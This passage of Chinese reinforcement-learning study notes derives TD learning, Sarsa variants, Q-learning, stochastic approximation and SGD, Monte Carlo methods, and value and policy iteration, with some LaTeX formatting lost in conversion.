其中 $S'$ 是下一状态 (next state)，我们可以将方程改写为贝尔曼期望方程：

$$ v_\pi(s) = \mathbb{E}[R + \gamma v_\pi(S') | S = s], \quad s \in \mathcal{S}. $$

我们可以借助随机近似 (Robbins-Monro) 算法的思想来求解该方程：

$$ g(v(s)) = v(s) - \mathbb{E}[R + \gamma v_\pi(S') | s] = 0 $$

由于在实际中只能获得 $R$ 和 $S'$ 的采样样本 $r$ 和 $s'$，我们得到的带噪观测值 (noisy observation) 为：

$$ \tilde{g}(v(s)) = v(s) - [r + \gamma v_\pi(s')] $$

它可以分解为真实梯度与噪声之和：

$$ = \underbrace{\left(v(s) - \mathbb{E}[R + \gamma v_\pi(S') | s]\right)}{g(v(s))} + \underbrace{\left(\mathbb{E}[R + \gamma v\pi(S') | s] - [r + \gamma v_\pi(s')]\right)}_{\eta}. $$

套用更新法则：

$$ \begin{aligned} v_{k+1}(s) &= v_k(s) - \alpha_k \tilde{g}(v_k(s)) \ &= v_k(s) - \alpha_k \left( v_k(s) - \left[ r_k + \gamma v_\pi(s'_k) \right] \right), \quad k=1, 2, 3, \dots \end{aligned} $$

相较于理论方程，实际应用的 TD 算法做了两点核心近似（修改）：

将 ${s, r, s'}$ 替换为实际轨迹采样 ${s_t, r_{t+1}, s_{t+1}}$。即不再需要反复在特定状态 $s$ 采样大量数据，而是访问到 $s_t$ 时就进行一次单步更新，未访问的状态保持不变。
将未知的真实值 $v_{\pi}(s_k')$ 替换为当前的估计值 $v_k(s_k')$，即引入了自举 (Bootstrapping) 机制。

TD vs MC

| 特性 | TD / Sarsa 学习 (TD/Sarsa learning) | MC 学习 (MC learning) | |:---------------------- |:-------------------------------------------------------------------------------------------------- |:----------------------------------------------------------------------------------------------------------------------- | | 在线/离线 | 在线 (Online)：TD 学习是在线的。它可以在执行单步转移收到奖励后，立即更新状态/动作价值。 | 离线 (Offline)：MC 学习是离线的。它必须等待整个回合 (episode) 结束后，才能利用完整的轨迹回报进行更新。 | | 任务类型 | 连续性任务 (Continuing tasks)：得益于单步更新的特性，它可以无缝处理回合制任务和无限长的连续性任务。 | 回合制任务 (Episodic tasks)：由于需要等待终点计算总回报，它只能处理有明确终止状态的回合制任务。 | | 自举 (Bootstrapping) | 自举 (Bootstrapping)：更新依赖于对下一个状态价值的当前估计（用估计更新估计），因此需要设定初始猜测值。 | 非自举 (Non-bootstrapping)：直接使用实际采样的完整累积回报来估计价值，无需依赖其他状态的现有估计。 | | 估计方差 (Variance) | 低估计方差 (Low estimation variance)：单步更新涉及的随机变量少。例如 Sarsa 仅引入了 $R_{t+1}, S_{t+1}, A_{t+1}$ 的单步随机性。 | 高估计方差 (High estimation variance)：为了估计价值，需要累加整个轨迹的奖励 $R_{t+1} + \gamma R_{t+2} + \dots$ 假设回合长度为 $L$，长序列会引入巨大的随机性和方差。 |

TD learning of action values: Sarsa

Sarsa 旨在估计给定策略 $\pi$ 的动作价值函数 $q_\pi$。算法通过以下经验序列序列进行学习：

$$ {(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1})}_t $$

对于在 $t$ 时刻访问的状态-动作对 $(s_t, a_t)$，更新公式为：

$$ q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - (r_{t+1} + \gamma q_t(s_{t+1}, a_{t+1})) \right] $$

对于其他未访问的状态-动作对 $(s, a) \neq (s_t, a_t)$，其价值保持不变：

$$ q_{t+1}(s, a) = q_t(s, a) $$

其中：

$q_t(s_t, a_t)$：动作价值 $q_\pi(s_t, a_t)$ 的当前估计值。
$\alpha_t(s_t, a_t)$：学习率，通常随时间衰减以保证收敛。
$r_{t+1} + \gamma q_t(s_{t+1}, a_{t+1})$：TD 目标值。这里体现了 Sarsa “同策略”（On-policy）的特点，即严格使用当前策略 $\pi$ 实际采取的下一个动作 $a_{t+1}$ 来计算目标并更新当前值。

严格来说，上述单步公式属于 Sarsa 的策略评估部分。在实际控制问题中，Sarsa 算法通常代指结合了该评估公式与策略改进机制（如 $\epsilon$-greedy）的完整控制闭环。

Expected Sarsa

Expected Sarsa 改进了标准 Sarsa 的目标计算方式：

$$ q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - \left(r_{t+1} + \gamma \mathbb{E}[q_t(s_{t+1}, A)]\right) \right] $$

$$ q_{t+1}(s, a) = q_t(s, a), \quad \forall (s, a) \neq (s_t, a_t) $$

其中期望项展开为：

$$ \mathbb{E}[q_t(s_{t+1}, A)] = \sum_a \pi_t(a|s_{t+1}) q_t(s_{t+1}, a) \doteq v_t(s_{t+1}) $$

即在当前策略 $\pi_t$ 下，下一状态所有可能动作价值的期望值。

TD target 的变化：Sarsa 依赖单次采样的特定动作 $a_{t+1}$，而 Expected Sarsa 对下一步的所有可能动作按策略概率求了期望。
降低方差：虽然每个时间步需要计算所有候选动作的价值（增加了少量计算量），但它消除了选择下一步动作 $A_{t+1}$ 带来的随机性。目标值涉及的随机变量从 ${s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}}$ 缩减到了 ${s_t, a_t, r_{t+1}, s_{t+1}}$，从而有效降低了估计方差。

其本质试图求解的数学期望等式为：

$$ q_\pi(s, a) = \mathbb{E} \left[ R_{t+1} + \gamma \mathbb{E}{A{t+1} \sim \pi(\cdot|S_{t+1})} [q_\pi(S_{t+1}, A_{t+1})] \middle| S_t = s, A_t = a \right] $$

即：

$$ q_\pi(s, a) = \mathbb{E} \left[ R_{t+1} + \gamma v_\pi(S_{t+1}) \middle| S_t = s, A_t = a \right] $$

n-step Sarsa

n-step Sarsa 是一种广义的方法，单步 Sarsa 和完整视角的 MC 都可以看作是它的极端情况。核心在于截断回报 (truncated return) 的步数差异：

$$ \begin{aligned} \text{Sarsa (1-step)} \longleftarrow \quad G_t^{(1)} &= R_{t+1} + \gamma q_\pi(S_{t+1}, A_{t+1}) \ G_t^{(2)} &= R_{t+1} + \gamma R_{t+2} + \gamma^2 q_\pi(S_{t+2}, A_{t+2}) \ &\vdots \ n\text{-step Sarsa} \longleftarrow \quad G_t^{(n)} &= R_{t+1} + \gamma R_{t+2} + \cdots + \gamma^n q_\pi(S_{t+n}, A_{t+n}) \ &\vdots \ \text{MC} \longleftarrow \quad G_t^{(\infty)} &= R_{t+1} + \gamma R_{t+2} + \gamma^2 R_{t+3} + \cdots \end{aligned} $$

它们试图拟合的理论期望：

Sarsa (1-step):

$$ q_{\pi}(s, a) = \mathbb{E}[G_t^{(1)} | s, a] = \mathbb{E}[R_{t+1} + \gamma q_{\pi}(S_{t+1}, A_{t+1}) | s, a] $$
MC learning:

$$ q_{\pi}(s, a) = \mathbb{E}[G_t^{(\infty)} | s, a] = \mathbb{E}[R_{t+1} + \gamma R_{t+2} + \gamma^2 R_{t+3} + \dots | s, a] $$
n-step Sarsa:

$$ q_{\pi}(s, a) = \mathbb{E}[G_t^{(n)} | s, a] = \mathbb{E}[R_{t+1} + \gamma R_{t+2} + \dots + \gamma^n q_{\pi}(S_{t+n}, A_{t+n}) | s, a] $$

$n$-step Sarsa 更新算法：

理论上的更新公式为：

$$ q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - [r_{t+1} + \gamma r_{t+2} + \dots + \gamma^n q_t(s_{t+n}, a_{t+n})] \right] $$

实际执行中，由于在 $t$ 时刻环境只推进了一步，尚无法获取未来 $n$ 步的完整数据序列 $(r_{t+1}, \dots, r_{t+n}, s_{t+n}, a_{t+n})$。
因此，$n$-step 的实际更新需要延迟 $n$ 个时间步。在时刻 $t+n$，收集齐所需数据后，再回过头去更新历史状态动作对 $(s_t, a_t)$：

$$ q_{t+n}(s_t, a_t) = q_{t+n-1}(s_t, a_t) - \alpha_{t+n-1}(s_t, a_t) \left[ q_{t+n-1}(s_t, a_t) - \left[ r_{t+1} + \dots + \gamma^n q_{t+n-1}(s_{t+n}, a_{t+n}) \right] \right] $$

简写为：

$$ q_{t+n}(s_t, a_t) = q_{t+n-1}(s_t, a_t) - \alpha_{t+n-1}(s_t, a_t) \left[ q_{t+n-1}(s_t, a_t) - Target_{n-step} \right] $$

(注：下标 $t$ 代表时间步的流逝，而 $n$ 代表往后看多远的视野视距)

$n$-step Sarsa 是一种在 Sarsa 与 MC 之间权衡的算法：
- $n$ 较大时，引入的真实奖励项较多，更接近 MC 方法。优势是偏差 (bias) 较小，受初始错误估计的影响低，但代价是累积了更多随机性，导致方差 (variance) 变大。
- $n$ 较小时，更依赖于自举，接近 Sarsa。此时方差较低，但如果初始估计误差很大，则由于强依赖现存的 $q$ 值，容易引入较大的偏差。
与单步方法一样，$n$-step Sarsa 同样可以内嵌到策略迭代框架中，与策略改进步骤结合以寻找最优策略。

Q-learning

Q-learning 是异策略 (off-policy) TD 控制算法的代表，其评估直接指向最优状态动作价值：

$$ \begin{align} q_{t+1}(s_t, a_t) &= q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - \left[ r_{t+1} + \gamma \max_{a \in \mathcal{A}} q_t(s_{t+1}, a) \right] \right], \ q_{t+1}(s, a) &= q_t(s, a), \quad \forall (s, a) \neq (s_t, a_t), \end{align} $$

它在数学上试图求解的是贝尔曼最优方程 (Bellman Optimality Equation, BOE)：

$$ q(s, a) = \mathbb{E} \left[ R_{t+1} + \gamma \max_{a'} q(S_{t+1}, a') \mid S_t = s, A_t = a \right], \quad \forall s, a. $$

on-policy vs off-policy

在强化学习控制问题中，我们往往涉及到两种策略：

Behavior policy (行动策略/行为策略)：代理（Agent）与环境实际交互、用于生成经验样本的策略（通常具备探索性，如 $\epsilon$-greedy）。
Target policy (目标策略)：算法实际评估和试图优化并最终收敛到的策略（通常是完全贪婪策略）。

根据这两种策略是否一致，可以划分为：

On-policy (同策略)：目标策略与行动策略完全一致。生成样本的规则和评估的规则是同一套逻辑。
Off-policy (异策略)：目标策略与行动策略分离。代理用一种策略去探索世界，同时利用这些探索数据在后台默默优化另一个（通常是更优的）策略。

Off-policy 的核心优势：算法可以复用其他任意策略（甚至是人类专家历史操作或随机游走）产生的经验数据进行学习，数据利用效率更高。

如何区分一个算法是 On-policy 还是 Off-policy？ 核心在于检查它在计算 TD Target 时，所使用的下一个动作 $a_{t+1}$ 的来源机制：

Sarsa 属于 On-policy：它的目标依赖于下一步实际执行的动作 $a_{t+1}$，这个动作是由当前的行动策略决定的。
Q-learning 属于 Off-policy：无论下一步实际上采取了什么动作去探索环境，在计算目标值时，它始终激进地假设下一步会采取当前估计下的最优动作（$\max_a$）。

TD算法统一形式与总结

价值更新一般可以统一为以下形式：

$$ q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t)[q_t(s_t, a_t) - \bar{q}_t], $$

其中 $\bar{q}_t$ 为各算法对应的 TD target：

| Algorithm | Expression of TD target ($\bar{q}_t$) | | -------------- | ------------------------------------------------------------------------------- | | Sarsa | $\bar{q}t = r{t+1} + \gamma q_t(s_{t+1}, a_{t+1})$ | | $n$-step Sarsa | $\bar{q}t = r{t+1} + \gamma r_{t+2} + \dots + \gamma^n q_t(s_{t+n}, a_{t+n})$ | | Expected Sarsa | $\bar{q}t = r{t+1} + \gamma \sum_a \pi_t(a|s_{t+1})q_t(s_{t+1},a)$ | | Q-learning | $\bar{q}t = r{t+1} + \gamma \max_a q_t(s_{t+1}, a)$ | | Monte Carlo | $\bar{q}t = r{t+1} + \gamma r_{t+2} + \dots$ |

(注：当令学习率 $\alpha_t=1$ 时，MC 形式可以直接写为 $q_{t+1}(s_t, a_t) = \bar{q}_t$，即直接用单次回报替代估计值。标准 MC 通常维护均值，等价于逐步衰减的 $\alpha$)

各算法理论求解的底层方程总结：

| Algorithm | Equation aimed to solve | | -------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | Sarsa | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma q_\pi(S_{t+1}, A_{t+1}) \mid S_t = s, A_t = a]$ | | n-step Sarsa | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma R_{t+2} + \dots + \gamma^n q_\pi(s_{t+n}, a_{t+n}) \mid S_t = s, A_t = a]$ | | Expected Sarsa | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma \mathbb{E}{A{t+1}} [q_\pi(S_{t+1}, A_{t+1})] \mid S_t = s, A_t = a]$ | | Q-learning | Bellman Optimality: $q_(s, a) = \mathbb{E} [R_{t+1} + \gamma \max_a q_(S_{t+1}, a) \mid S_t = s, A_t = a]$ | | Monte Carlo | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma R_{t+2} + \dots \mid S_t = s, A_t = a]$ |

RL学习笔记：随机近似与随机梯度下降

Thu, 19 Feb 2026 21:50:00 GMT

随机近似理论与随机梯度下降

均值估计 (Mean Estimation)

首先，考虑样本均值的估计问题：

$$ w_{k+1} \doteq \frac{1}{k} \sum_{i=1}^{k} x_{i}, \quad k=1,2, \dots $$

对于上一步的均值，我们有：

$$ w_{k} = \frac{1}{k-1} \sum_{i=1}^{k-1} x_{i}, \quad k=2,3, \dots $$

通过代数变换，可以将全量计算转化为递推形式：

$$ w_{k+1} = \frac{1}{k} \sum_{i=1}^{k} x_{i} = \frac{1}{k}\left(\sum_{i=1}^{k-1} x_{i}+x_{k}\right) = \frac{1}{k}\left((k-1) w_{k}+x_{k}\right) = w_{k}-\frac{1}{k}\left(w_{k}-x_{k}\right) $$

即：

$$ w_{k+1} = w_k - \frac{1}{k}(w_k - x_k) $$

这是一种迭代算法，无需保存并重复计算所有历史数据。
在迭代初期，由于样本量不足，估计值可能不够精确；但随着样本量 $k$ 的增加，结果会逐渐逼近真实均值。

由此可以引出一个更广义的迭代等式：

$$ w_{k+1} = w_{k} - \alpha_{k}(w_{k} - x_{k}) $$

当步长序列 ${\alpha_k}$ 满足一定条件时，估计值 $w_k$ 依然会收敛于期望 $\mathbb{E}[X]$。
这种形式可以被视为随机近似（SA）算法的一种特例，同时也是随机梯度下降（SGD）算法的基础形态。

Robbins-Monro (RM) 算法

随机近似 (Stochastic Approximation, SA)

SA 是一大类依赖随机迭代来求解方程根或最优化问题的算法。
SA 的核心优势在于黑盒求解：无需知晓目标方程的解析表达式或全局性质，仅依赖带噪声的观测数据即可进行参数更新。

RM 算法定义

寻找函数极值的一个必要条件是梯度为零，即 $g(w) \doteq \nabla_{w} J(w) = 0$。同理，对于 $g(w) = c$ 的情况，可以通过移项转化为求根问题。SGD 正是一种特殊的 RM 算法。

RM 算法通过以下迭代格式求解 $g(w) = 0$：

$$ w_{k+1} = w_k - a_k \tilde{g}(w_k, \eta_k), \quad k = 1, 2, 3, \dots $$

其中：

$w_k$ 是第 $k$ 次迭代对根的估计值。
$\tilde{g}(w_k, \eta_k) = g(w_k) + \eta_k$ 是第 $k$ 次带有随机噪声 $\eta_k$ 的观测值。
$a_k$ 是控制步长的正系数。

收敛性定理与条件解析

若以下条件成立：

(a) $0 < c_1 \leq \nabla_w g(w) \leq c_2$，对于所有 $w$； (b) $\sum_{k=1}^{\infty} a_k = \infty$ 且 $\sum_{k=1}^{\infty} a_k^2 < \infty$； (c) $\mathbb{E}[\eta_k | \mathcal{H}_k] = 0$ 且 $\mathbb{E}[\eta_k^2 | \mathcal{H}_k] < \infty$；

其中 $\mathcal{H}k = {w_k, w{k-1}, \dots}$ 表示直到时刻 $k$ 的历史记录，那么序列 $w_k$ 将以概率 1（Almost surely）收敛于满足 $g(w^) = 0$ 的根 $w^$。

条件 (a)：要求函数 $g(w)$ 的导数（或梯度）有严格的上下界。这保证了函数足够平滑，且其斜率不会趋于零或无穷大，从而确保更新方向能稳定且持续地指向目标解 $w^*$。
条件 (b)：经典的步长（学习率）约束。$\sum a_k = \infty$ 保证了步长总和无限大，算法有能力跨越任意初始距离到达目标点；$\sum a_k^2 < \infty$ 则保证步长衰减得足够快，使得算法最终能够收敛，避免在根节点附近永久震荡。
条件 (c)：对随机噪声性质的约束。给定历史序列的条件期望为零（构成鞅差分序列），说明噪声的估计是无偏的；条件方差有限则限制了单步探索时的波动幅度，防止算法发散。

随机梯度下降 (SGD)

SGD 主要用于解决期望风险最小化问题：

$$ \min_{w} \quad J(w) = \mathbb{E}[f(w, X)] $$

$w$ 是待优化的参数。
$X$ 是随机变量，期望是关于 $X$ 的分布计算的。
函数 $f(\cdot)$ 输出标量，参数 $w$ 和输入 $X$ 可以是标量或向量。

梯度下降演变

1. 梯度下降 (Gradient Descent, GD)

$$ w_{k+1} = w_k - \alpha_k \nabla_w \mathbb{E}[f(w_k, X)] = w_k - \alpha_k \mathbb{E}[\nabla_w f(w_k, X)] $$

2. 批量梯度下降 (Batch Gradient Descent, BGD)

通过有限样本的经验均值近似数学期望：

$$ \mathbb{E}[\nabla_w f(w_k, X)] \approx \frac{1}{n} \sum_{i=1}^n \nabla_w f(w_k, x_i) $$

$$ w_{k+1} = w_k - \alpha_k \frac{1}{n} \sum_{i=1}^n \nabla_w f(w_k, x_i) $$

3. 随机梯度下降 (Stochastic Gradient Descent, SGD)

$$ w_{k+1} = w_k - \alpha_k \nabla_w f(w_k, x_k) $$

与 GD 相比：将真实梯度 $\mathbb{E}[\nabla_w f(w_k, X)]$ 替换为单样本的随机梯度 $\nabla_w f(w_k, x_k)$。
与 BGD 相比：相当于将批量大小设定为 $n = 1$。

根据 RM 算法的理论，如果满足海森矩阵正定有界（$0 < c_1 \le \nabla^2_w f(w, X) \le c_2$）、学习率满足 Robbins-Monro 序列条件，且样本序列独立同分布（i.i.d.），则 SGD 同样会以概率 1 收敛于最优解。

SGD 梯度的相对误差与随机性

引入相对误差 $\delta_k$ 来衡量随机梯度偏离真实梯度的程度：

$$ \delta_k \doteq \frac{|\nabla_w f(w_k, x_k) - \mathbb{E}[\nabla_w f(w_k, X)]|}{|\mathbb{E}[\nabla_w f(w_k, X)]|} $$

在最优解 $w^$ 处，满足 $\mathbb{E}[\nabla_w f(w^, X)] = 0$。将其代入分母，并应用积分中值定理：

$$ \delta_k = \frac{|\nabla_w f(w_k, x_k) - \mathbb{E}[\nabla_w f(w_k, X)]|}{|\mathbb{E}[\nabla_w f(w_k, X)] - \mathbb{E}[\nabla_w f(w^, X)]|} = \frac{|\nabla_w f(w_k, x_k) - \mathbb{E}[\nabla_w f(w_k, X)]|}{|\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)(w_k - w^)]|} $$

由于存在强凸性假设 $\nabla_w^2 f \ge c > 0$，对分母放缩可得：

$$ \begin{aligned} |\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)(w_k - w^)]| &= |\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)] \cdot (w_k - w^)| \ &= |\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)]| \cdot |w_k - w^| \ge c|w_k - w^| \end{aligned} $$

进而得到相对误差的上限：

$$ \delta_k \leq \frac{|\overbrace{\nabla_w f(w_k, x_k)}^{\text{随机梯度}} - \overbrace{\mathbb{E}[\nabla_w f(w_k, X)]}^{\text{真实梯度}}|}{\underbrace{c|w_k - w^*|}_{\text{距最优解的距离}}} $$

该不等式严格揭示了 SGD 的一种重要收敛模式：

相对误差 $\delta_k$ 与距最优解的距离 $|w_k - w^*|$ 成反比。
当 $w_k$ 距离最优解较远时，分母较大，$\delta_k$ 较小。此时 SGD 的更新方向非常接近真实梯度，表现出与 GD 高度相似的下降轨迹。
当 $w_k$ 逐渐逼近最优解 $w^*$ 时，分母趋于零，相对误差 $\delta_k$ 会显著增大。这意味着在最优解邻域内，噪声的干扰占据主导，导致算法在收敛末期表现出较强的随机震荡（这也是为何 SGD 需要配合学习率衰减的原因）。

BGD, MBGD, 和 SGD 采样对比

这种随机采样策略与截断（truncated）方法有异曲同工之妙。

假设我们需要最小化 $J(w) = \mathbb{E}[f(w, X)]$，并拥有一组 $X$ 的随机样本 ${x_i}_{i=1}^n$。三种算法的迭代公式对比：

$$ w_{k+1} = w_k - \alpha_k \frac{1}{n} \sum_{i=1}^n \nabla_w f(w_k, x_i) \quad \text{(BGD)} $$

$$ w_{k+1} = w_k - \alpha_k \frac{1}{m} \sum_{j \in \mathcal{I}_k} \nabla_w f(w_k, x_j) \quad \text{(MBGD)} $$

$$ w_{k+1} = w_k - \alpha_k \nabla_w f(w_k, x_k) \quad \text{(SGD)} $$

BGD：每次迭代计算完整的 $n$ 个样本。当 $n$ 足够大时，更新方向极其接近真实期望梯度。
MBGD：每次迭代从全局样本中抽取大小为 $m$ 的子集 $\mathcal{I}_k$。该集合是通过 $m$ 次独立同分布（i.i.d.）采样获得的。
SGD：每次迭代仅在时刻 $k$ 随机抽取单一标本 $x_k$。

核心差异注意：即使当 $m=n$ 时，MBGD 与 BGD 也并不等价。因为 MBGD 的 $m$ 次随机采样通常是有放回的（可能抽取到重复的样本），而 BGD 则是严格遍历所有不重复的全局样本数据。

RL学习笔记：蒙特卡洛方法

Wed, 18 Feb 2026 20:00:00 GMT

蒙特卡洛方法 (Monte Carlo Methods)

最简单的 MC-based RL 算法：MC Basic

核心流程：从某个 $(s, a)$ 出发，遵循一个策略 $\pi_k$，产生一个 episode。
回报计算：
- 这个 episode 得到的 (discounted) return 记作 $g(s,a)$。
- $g(s,a)$ 是 $G_t$ 的一个采样，即 $q_{\pi_k}(s, a) = \mathbb{E}[G_t | S_t = s, A_t = a]$ 的采样。
大数定律估计：如果有许多 episode 产生了一组 ${g^{(j)}(s, a)}$，则：

$$ q_{\pi_k}(s, a) = \mathbb{E}[G_t | S_t = s, A_t = a] \approx \frac{1}{N} \sum_{i=1}^{N} g^{(i)}(s, a) $$

核心思想：当没有模型 (Model) 的时候必须要有数据，没有数据的时候必须要有模式，即 Experience。
定位：MC Basic 是 Policy Iteration 算法的一个变种，去除了基于模型的部分。
缺点：MC Basic 过于低效，实际中很少直接使用。

Episode 长度的考量

过短：只有足够近的 state 才能找到最优策略。
逐渐加长：随着长度增加，慢慢可以找到最优策略。
结论：Episode 必须足够长，但不需要无限长。

MC Exploring Starts

采样序列示例

$$ s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_4} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots $$

Visit 的定义

在一个 episode 中，每一个 state-action pair (状态-动作对) 出现一次，称其为一个 visit。基于上述序列的拆解示例：

$$ \begin{aligned} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_4} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots & \quad [\text{原始 episode}] \ s_2 \xrightarrow{a_4} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots & \quad [\text{从 } (s_2, a_4) \text{ 开始的 episode}] \ s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots & \quad [\text{从 } (s_1, a_2) \text{ 开始的 episode}] \ s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots & \quad [\text{从 } (s_2, a_3) \text{ 开始的 episode}] \ s_5 \xrightarrow{a_1} \dots & \quad [\text{从 } (s_5, a_1) \text{ 开始的 episode}] \end{aligned} $$

数据效率 (Data Efficiency) 方法

First-visit：每个 state-action pair 只用其第一次出现的时候来估计。
Every-visit：每个 state-action pair 只要出现一次就重新估计。

Generalized Policy Iteration (GPI)

关于更新时机的考量：

等到所有的 episode 都收集完成之后，对其求平均再估计。
或者，得到一个 episode 之后就开始估计，每一次都重新估计。

GPI 的核心概念：

GPI 不是一种特殊的算法，而是一个统称。
它体现了在 Policy Evaluation (策略评估) 和 Policy Improvement (策略提升) 之间不断切换的过程。
许多 Model-based 和 Model-free 的算法都在其框架之中。

MC-$\epsilon$-Greedy

Soft Policies

定义：一个 policy 对每一个 action 都有非零的概率选择，叫做 soft policy。
作用：不再需要通过“从每一个 state-action 出发产生大量 episode”来确保覆盖率，从而去除了 Exploring Starts 的强假设。

$\epsilon$-Greedy 策略

公式如下：

$$ \pi(a|s) = \begin{cases} 1 - \dfrac{\epsilon}{|\mathcal{A}(s)|}(|\mathcal{A}(s)| - 1), & \text{对于贪婪动作 (greedy action), 即 } a = a^* \[15pt] \dfrac{\epsilon}{|\mathcal{A}(s)|}, & \text{对于其他 } |\mathcal{A}(s)| - 1 \text{ 个动作} \end{cases} $$

其中 $\epsilon \in [0, 1]$，$|\mathcal{A}(s)|$ 是该状态下可选动作的总数。

Exploitation 与 Exploration 的平衡：

当 $\epsilon = 0$：变成 Greedy (完全利用)。
当 $\epsilon = 1$：变成均匀分布 (完全探索)。

策略提升 (Policy Improvement)

目标是最大化动作价值函数：

$$ \pi_{k+1}(s) = \arg \max_{\pi \in \Pi_{\varepsilon}} \sum_{a} \pi(a|s) q_{\pi_k}(s, a) $$

由此导出的更新规则：

$$ \pi_{k+1}(a|s) = \begin{cases} 1 - \frac{|\mathcal{A}(s)|-1}{|\mathcal{A}(s)|}\varepsilon, & a = a_k^* \ \frac{1}{|\mathcal{A}(s)|}\varepsilon, & a \neq a_k^* \end{cases} $$

结论：通过引入 $\epsilon$-Greedy，不再需要 exploring starts 条件 (即允许从所有的状态出发的假设)。

RL学习笔记：值迭代与策略迭代

Wed, 18 Feb 2026 10:30:00 GMT

值迭代与策略迭代

值迭代 (Value Iteration)

值迭代通过迭代更新值函数 $v_k$ 来逼近最优值函数 $v_*$。其核心迭代公式为：

$$ v_{k+1} = f(v_k) = \max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k), \quad k = 1, 2, 3 \dots $$

该过程可分解为两个步骤：

策略更新 (Policy Update)：

$$ \pi_{k+1} = \arg\max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k) $$
值更新 (Value Update)：

$$ v_{k+1} = r_{\pi_{k+1}} + \gamma P_{\pi_{k+1}} v_k $$

注：此处的 $v_k$ 是第 $k$ 次迭代的估值向量，而非最终的 state value。

1. 策略更新 (Policy Update)

$$ \pi_{k+1} = \arg\max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k) $$

其逐元素形式 (Elementwise form) 为：

$$ \pi_{k+1}(s) = \arg\max_{\pi} \sum_{a} \pi(a|s) \underbrace{\left( \sum_{r} p(r|s,a)r + \gamma \sum_{s'} p(s'|s,a)v_k(s') \right)}_{q_k(s,a)}, \quad s \in \mathcal{S} $$

由此得到的 $\pi_{k+1}$ 为贪婪策略 (Greedy Policy)，即在状态 $s$ 下选择使 $q_k(s,a)$ 最大的动作 $a_k^*(s)$：

$$ a_k^*(s) = \arg\max_{a} q_k(a, s) $$

$$ \pi_{k+1}(a|s) = \begin{cases} 1, & a = a_k^(s) \ 0, & a \neq a_k^(s) \end{cases} $$

2. 值更新 (Value Update)

$$ v_{k+1} = r_{\pi_{k+1}} + \gamma P_{\pi_{k+1}} v_k $$

其逐元素形式为：

$$ v_{k+1}(s) = \sum_{a} \pi_{k+1}(a|s) \underbrace{ \left( \sum_{r} p(r|s,a)r + \gamma \sum_{s'} p(s'|s,a)v_k(s') \right) }_{q_k(s,a)}, \quad s \in \mathcal{S} $$

由于 $\pi_{k+1}$ 是贪婪策略，上式等价于：

$$ v_{k+1}(s) = \max_{a} q_k(a, s) $$

策略迭代 (Policy Iteration)

策略迭代包含以下步骤：

初始化：给定一个随机的初始策略 $\pi_0$。
策略评估 (Policy Evaluation, PE)：计算当前策略的状态价值 $v_{\pi_k}$。

$$ v_{\pi_k} = r_{\pi_k} + \gamma P_{\pi_k} v_{\pi_k} $$
策略提升 (Policy Improvement, PI)：基于当前价值生成更好的策略。

$$ \pi_{k+1} = \arg \max_{\pi} (r_\pi + \gamma P_\pi v_{\pi_k}) $$

1. 策略评估 (Policy Evaluation)

求解 $v_{\pi_k}$ 通常采用迭代法：

矩阵-向量形式：

$$ v_{\pi_k}^{(j+1)} = r_{\pi_k} + \gamma P_{\pi_k} v_{\pi_k}^{(j)}, \quad j = 0, 1, 2, \dots $$
逐元素形式：

$$ v_{\pi_k}^{(j+1)}(s) = \sum_{a} \pi_k(a|s) \left( \sum_{r} p(r|s, a)r + \gamma \sum_{s'} p(s'|s, a)v_{\pi_k}^{(j)}(s') \right), \quad s \in \mathcal{S} $$

停止条件：当 $j \to \infty$ 或 $| v_{\pi_k}^{(j+1)} - v_{\pi_k}^{(j)} |$ 足夠小时停止迭代。

2. 策略提升 (Policy Improvement)

矩阵-向量形式：

$$ \pi_{k+1} = \arg \max_{\pi} (r_\pi + \gamma P_\pi v_{\pi_k}) $$
逐元素形式：

$$ \pi_{k+1}(s) = \arg \max_{\pi} \sum_{a} \pi(a|s) \underbrace{\left( \sum_{r} p(r|s, a)r + \gamma \sum_{s'} p(s'|s, a)v_{\pi_k}(s') \right)}{q{\pi_k}(s, a)}, \quad s \in \mathcal{S} $$

令 $a_k^*(s) = \arg \max_{a} q_{\pi_k}(a, s)$，更新策略为确定性贪婪策略：

$$ \pi_{k+1}(a|s) = \begin{cases} 1, & a = a_k^(s) \ 0, & a \neq a_k^(s) \end{cases} $$

截断策略迭代 (Truncated Policy Iteration)

我们可以从“策略评估的步数”这一角度来统一值迭代和策略迭代：

$$ \begin{alignat*}{2} \text{Policy Iteration: } & \pi_0 \xrightarrow{PE} v_{\pi_0} \xrightarrow{PI} \pi_1 \xrightarrow{PE} v_{\pi_1} \xrightarrow{PI} \pi_2 \dots \ \text{Value Iteration: } & \phantom{\pi_0 \xrightarrow{PE}} v_0 \xrightarrow{PU} \pi_1' \xrightarrow{VU} v_1 \xrightarrow{PU} \pi_2' \dots \end{alignat*} $$

